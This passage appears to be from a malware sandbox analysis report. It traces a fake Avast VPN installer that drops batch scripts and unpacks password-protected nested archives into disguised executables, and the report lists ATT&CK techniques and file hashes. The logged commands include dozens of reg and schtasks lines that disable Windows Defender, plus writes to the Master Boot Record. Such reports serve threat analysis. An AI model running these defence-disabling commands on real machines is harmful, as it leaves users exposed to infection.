reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
5⤵
PID:304

C:\Windows\SysWOW64\reg.exe
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
5⤵
PID:984

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:1684

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:1268

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:1544

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
5⤵
- Modifies security service
PID:1668

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:1396

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
5⤵
PID:1536

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\ProgramData\37bFdy\main.bat" "
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:240

C:\Windows\SysWOW64\mode.com
mode 65,10
5⤵
PID:1932

C:\ProgramData\37bFdy\7z.exe
7z.exe e file.zip -p___________24064pwd24000pwd10377___________ -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1496

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_7.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1520

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_6.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1376

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_5.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1152

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_4.zip -oextracted
5⤵
PID:840

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_3.zip -oextracted
5⤵
PID:1568

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_2.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1608

C:\ProgramData\37bFdy\7z.exe
7z.exe e extracted/file_1.zip -oextracted
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1128

C:\ProgramData\37bFdy\rchost.exe
"rchost.exe"
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:864

C:\ProgramData\37bFdy\rchost.exe
"rchost.exe"
6⤵
- Executes dropped EXE
PID:984

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\ProgramData\37bFdy\kgr2ln9m.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\SysWOW64\timeout.exe
timeout /T 60 /NOBREAK
5⤵
- Delays execution with timeout.exe
PID:1984

C:\Program Files (x86)\avastvpn.exe
"C:\Program Files (x86)\avastvpn.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1176

C:\Users\Admin\AppData\Local\Temp\is-U90AQ.tmp\avastvpn.tmp
"C:\Users\Admin\AppData\Local\Temp\is-U90AQ.tmp\avastvpn.tmp" /SL5="$101B8,8012383,778240,C:\Program Files (x86)\avastvpn.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1804

C:\Program Files (x86)\avast_secureline_setup.exe
"C:\Program Files (x86)\avast_secureline_setup.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Modifies system certificate store
PID:556

C:\Windows\Temp\asw-5f93c203-7b53-46b5-bfaf-b199e96c345b\common\icarus.exe
C:\Windows\Temp\asw-5f93c203-7b53-46b5-bfaf-b199e96c345b\common\icarus.exe /icarus-info-path:C:\Windows\Temp\asw-5f93c203-7b53-46b5-bfaf-b199e96c345b\icarus-info.xml /install
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
PID:1932

C:\Windows\Temp\asw-5f93c203-7b53-46b5-bfaf-b199e96c345b\common\icarus_ui.exe
C:\Windows\Temp\asw-5f93c203-7b53-46b5-bfaf-b199e96c345b\common\icarus_ui.exe /er_master:master_ep_97d6acaa-0e3f-42e0-912f-fc26e7b334a9 /er_ui:ui_ep_7f13076c-b87f-450e-b602-152fe6e2013d
7⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1268

C:\Windows\Temp\asw-5f93c203-7b53-46b5-bfaf-b199e96c345b\avast-vpn\icarus.exe
C:\Windows\Temp\asw-5f93c203-7b53-46b5-bfaf-b199e96c345b\avast-vpn\icarus.exe /er_master:master_ep_97d6acaa-0e3f-42e0-912f-fc26e7b334a9 /er_ui:ui_ep_7f13076c-b87f-450e-b602-152fe6e2013d /er_slave:avast-vpn_slave_ep_13c8966f-85f0-46f0-9d9d-897e7a0bd49b /slave:avast-vpn
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
PID:1896

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\xOUvu\MMF.vbs"
5⤵
PID:1344

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\ProgramData\xOUvu\DisableOAVProtection.bat" "
6⤵
PID:1916

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
7⤵
PID:1176

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
7⤵
PID:1944

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
7⤵
PID:1948

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
7⤵
PID:292

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
7⤵
PID:1716

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
7⤵
PID:272

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
7⤵
PID:1796

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
7⤵
PID:1580

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
7⤵
PID:572

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
7⤵
PID:1936

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
7⤵
PID:1760

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
7⤵
PID:1520

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
7⤵
PID:1976

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
7⤵
PID:1488

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
7⤵
PID:1544

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
7⤵
PID:1548

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
7⤵
PID:436

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
7⤵
PID:1800

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
7⤵
PID:1520

C:\Windows\SysWOW64\reg.exe
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
7⤵
PID:1760

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
7⤵
PID:1468

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
7⤵
PID:112

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
7⤵
PID:1400

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1500

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:1520

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:1376

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
7⤵
- Modifies security service
PID:1688

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:976

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:1588

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
7⤵
PID:1604

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
7⤵
PID:1936

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:1448

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\ProgramData\xOUvu\main.bat" "
6⤵
- Loads dropped DLL
PID:1664

C:\Windows\SysWOW64\mode.com
mode 65,10
7⤵
PID:436

C:\ProgramData\xOUvu\7z.exe
7z.exe e file.zip -p___________12659pwd5006pwd7116___________ -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1172

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_9.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:732

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_8.zip -oextracted
7⤵
PID:1500

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_10.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1512

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_11.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1892

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_6.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1976

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_7.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1496

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_4.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:840

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_2.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1652

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_3.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1028

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_5.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:776

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_1.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:984

C:\ProgramData\xOUvu\SgrmClientApi.exe
"SgrmClientApi.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:624

C:\ProgramData\xOUvu\SgrmClientApi.exe
"SgrmClientApi.exe"
8⤵
- Executes dropped EXE
PID:828

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\ProgramData\xOUvu\DiskRemoval.bat" "
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1568

C:\Windows\SysWOW64\timeout.exe
timeout /T 60 /NOBREAK
7⤵
- Delays execution with timeout.exe
PID:1160

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Bootkit

T1067

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\avast_secureline_setup.exe
MD5
97a2db945a42346cdae06304a03250a8

SHA1
2b879d1dfb3ec3f41175f762b68bf01eae0b8982

SHA256
1f8aeadcafe26d3a9a04c4a30926864e3baacc0c1751f5e4e3f3ed9fa7b4116a

SHA512
3d4ab63f2a36a3dd852b14caf17ea6ceff5a23563d10b19f1279008d643b350a16b6c71b726ae69bcfaba531744f8a07a9c341d8e1ba85183f8535edd0ddec6e

Download Submit
C:\Program Files (x86)\avast_secureline_setup.exe
MD5
97a2db945a42346cdae06304a03250a8

SHA1
2b879d1dfb3ec3f41175f762b68bf01eae0b8982

SHA256
1f8aeadcafe26d3a9a04c4a30926864e3baacc0c1751f5e4e3f3ed9fa7b4116a

SHA512
3d4ab63f2a36a3dd852b14caf17ea6ceff5a23563d10b19f1279008d643b350a16b6c71b726ae69bcfaba531744f8a07a9c341d8e1ba85183f8535edd0ddec6e

Download Submit
C:\Program Files (x86)\avastvpn.exe
MD5
6ffc5787731424bf302fb6bee6f5f3de

SHA1
e893f1a2d7f10c4c7cd63c10dfe756966d0107f3

SHA256
4bdd0934c8c441a80c0f845f596d3fc431b9165db221264f11ed951bdef66052

SHA512
e9caaac45209aa7e43cd72b26787045f1008fdc0bf4e035b15f8dc59cd175c431b4c611301419dfcab421a6a21abec7c8ef0e95f756765f2ef9dcabfa8c47934

Download Submit
C:\Program Files (x86)\avastvpn.exe
MD5
6ffc5787731424bf302fb6bee6f5f3de

SHA1
e893f1a2d7f10c4c7cd63c10dfe756966d0107f3

SHA256
4bdd0934c8c441a80c0f845f596d3fc431b9165db221264f11ed951bdef66052

SHA512
e9caaac45209aa7e43cd72b26787045f1008fdc0bf4e035b15f8dc59cd175c431b4c611301419dfcab421a6a21abec7c8ef0e95f756765f2ef9dcabfa8c47934

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\MMF.vbs
MD5
3f4db86c67389b638881d8133d804efc

SHA1
543164f657ed7c9886b210c23e91e8fbaf7db191

SHA256
f86af60929d7e61b3d0ded4e85a62ee68399f29db69226f3629b003cca6fcfec

SHA512
e2dd49a9208259a761fcea147a4b59946b38914a41f882309c71a0689456ab4e52df7a9a09fb80bec62aff2eb9d9391d4813bdbedfb287df2d552ab5895e6c4f

Download Submit
C:\ProgramData\37bFdy\extracted\ANTIAV~1.DAT
MD5
a41e635db17aed873aef5f5c35d80a71

SHA1
866063f8e9671e7dfd948819a8be617885c1365f

SHA256
7032c7263f37bfb0ffc4305922257393e4ad25fcf1c809c5367c6a912c1c6def

SHA512
2e1be02589861eeaf07b7e5de46c74d65150c0a2599151875891a92534d4e6fb8eae5a0246a5ff2fa11c141c9291babfc815122df46c8027223a42cdeaba47d0

Download Submit
C:\ProgramData\37bFdy\extracted\file_1.zip
MD5
f59aa4bdd2882e07fd464fab66e4d901

SHA1
c63ec2257c330ee10dd7a21704fedf35ee274514

SHA256
10459972ab87f5e98d7b3cbfa250fe9f7b30b4a8ee6aa6a38ef637dcace9868a

SHA512
0af68895ffc81c7ca130ff31a8bf700e9b35c2e7a2ba310b40faef7b9a2331cc0e14edf13949830ac028403d7f1df6c29ce12c8e1b3c876f9351e3a262fafdc8

Download Submit
C:\ProgramData\37bFdy\extracted\file_2.zip
MD5
0ed9135bba8f9fda74a4aa8e84f5244e

SHA1
62afd82b04c14e6995ff396d5e162a38fa3a0243

SHA256
3b666e5bfde079cd8077a9c8a2a02648dec883592a38302590d9ca24d99d90cd

SHA512
c00122376fa3148d5536e0c57beceb56703695e055b4f97efd33b3505c093c14ca35601ef434efc7c07a936ea31b072f634106d96e53a0631d8d243349bf93fa

Download Submit
C:\ProgramData\37bFdy\extracted\file_3.zip
MD5
caf275ae40abd0d434641895043db2de

SHA1
a20bb58f85acc31add8a12f1ac61bf9921c7f58d

SHA256
6c70905732d1ba47eb3f717bee319f9bee8321fe1bf8e83d00812f0438adae4a

SHA512
a939c36f6b620bf8e20c4e20abbefdda30844312dca010b73eb38e8c84f5b7c4ed6966bd1fccb82792832e381f3601d2c83f51e109d90af556b3688b08953bde

Download Submit
C:\ProgramData\37bFdy\extracted\file_4.zip
MD5
d162681c6d09dd1e77c4cfc5982a0f6f

SHA1
fba554d67e47c766ee1d590b14a929cdcfc9c050

SHA256
13cbff6a2530fe9bc27680b6189c9afdb57c90b2bb8c3e7703e45476693d6bf1

SHA512
e6f0732c96defab22decf7cc5a547d923d9e84c819c10ab59df75bb380b8a219de4ba3c10a3dc76d03589abb563e6da517b1c70ed0ca8701830565c97c934878

Download Submit
C:\ProgramData\37bFdy\extracted\file_5.zip
MD5
84fcc2e0dec17a7cf35f3495dd694d26

SHA1
efa1df422d68ea8a00cb10a98bbf58a8061ea29d

SHA256
bb7394efae0348560314027990a608daa654cc9f78ec7b916d8c4cf8ddd74005

SHA512
3d1a1b81654b6beb4414584efa408a01c0c347f94b7fc8bd48876885510006e5308567a5343f401951686f48a257b0bbcaf3eb7aabb137624a82fe44ac627d47

Download Submit
C:\ProgramData\37bFdy\extracted\file_6.zip
MD5
4b3d45dddcc2056523c38b2e36cfcc2f

SHA1
5b9a64fcd268429fb06b816d969a38901c22ca5f

SHA256
0dae21e227fab70607588fbf7fbbc0b93e91d43ae8cf53e1bc425cd1c2f279bc

SHA512
9a77d9136692fdb631700ab2146473997c4b9502c5824378d004fc2825636bbb24545b705c796da825e77e71ae3585a9f7bdf958fd2aa684161bb61e856ba77c

Download Submit
C:\ProgramData\37bFdy\extracted\file_7.zip
MD5
421e0b35fd18a4eb23fb31858ddd6ffd

SHA1
9eaa4fd1a50338ab5935458d938b92e578584323

SHA256
d2fe351abaf8cbe02f15b398ef7b918ec557a963023e549b0bb714b3d4bf265e

SHA512
d5379ed1e1a6bc59a19e4d26f8c274b16f04fbf46171e14271bfa7a7c2ba51ec73e79f8fad0caf8cc67a5c31f1c1cff8783d058fe473afe20994696573c10ab8

Download Submit
C:\ProgramData\37bFdy\extracted\rchost.exe
MD5
d9e63a1843da137322b24bf83ab39329

SHA1
d9384403e8385bb900011b4e4983a1fe518e97d3

SHA256
7d7d95cbfb3e47a5bf0bd673bc8681f3e5c5b386fd630d4581763b49a8d2587d

SHA512
d3eb8cf9d36077b27085e73df5d11f163e4330c36856907d7b6264f2c51e8883cdb661bc0a0f21d92ac8a8b0014799d3b68c9622891e21affa8f22f1837d9598

Download Submit
C:\ProgramData\37bFdy\file.bin
MD5
92073209ecc01ccb34907330a3e8c775

SHA1
67f8a6a6ac204b06dc585292a9d9d5fb9cc40a02

SHA256
56cfd8ae14df7cf1abcf3e5830312796e75adc68d31a94cc364f8f130e762a32

SHA512
57cb7e4eb29cc5372e58b5eb8e630266e69dabd81f57355714a697c4807cd06f25928aa01492e72eaa68bd0aea84fe50d2fdebde38ffefe43bb7d4462a435a6c

Download Submit
C:\ProgramData\37bFdy\kgr2ln9m.bat
MD5
e811fb87a9345bf5f3eef8898b4558e3

SHA1
d4d9029d46b9743cdb96938c268aeaf34f30d9b1

SHA256
4aafffa93d8a42643cc1bfb994788418b955f86569c20a7319a7f6f3e24ac2fd

SHA512
3ac3dc5e2b71525e52df9ff708b5a93869f209723abfa4a4492746f10f89254c18e315786556f24e7c183d910a5dcd1b6df06f8d33c711dce6603a36e4a91655

Download Submit
C:\ProgramData\37bFdy\main.bat
MD5
1d2b9d6887d787fe5e131f45cb55a9bf

SHA1
1fc2abcb5241b0b80a8e1c1660066010b9ac288d

SHA256
0b2a722da3508d480f75101144d8216058f62dfd422df55a4cfd50895e03a7b4

SHA512
ce0aa5e13d22e2e32f6934685ad3242a371a603b5c962c09c58444e77f2af0dc5ea660be74a8f055a9b6799223b920ef7ec09a48d40c9a449bb9b480563c54de

Download Submit
C:\ProgramData\37bFdy\n0eexnwg.bat
MD5
9bbbae3e380365790d922ecb6dbda1d3

SHA1
2f6b08c71e917db244a4898ec59e3ce5d37b6f60

SHA256
ffd6b760dc786179a1aca0c543fd4d223ff7d0e16f2d1b1414add7aee5b46fb8

SHA512
3d20992b121e117c45b19a0b74e33b95392bd8d56e760e2e314c6801d9ef16f16eb455c0c805243465134b5b0c320361cc4a6ab4a62b482aa6e88701f799c31f

Download Submit
C:\ProgramData\37bFdy\rchost.exe
MD5
d9e63a1843da137322b24bf83ab39329

SHA1
d9384403e8385bb900011b4e4983a1fe518e97d3

SHA256
7d7d95cbfb3e47a5bf0bd673bc8681f3e5c5b386fd630d4581763b49a8d2587d

SHA512
d3eb8cf9d36077b27085e73df5d11f163e4330c36856907d7b6264f2c51e8883cdb661bc0a0f21d92ac8a8b0014799d3b68c9622891e21affa8f22f1837d9598

Download Submit
C:\ProgramData\xOUvu\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\xOUvu\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\xOUvu\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\xOUvu\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
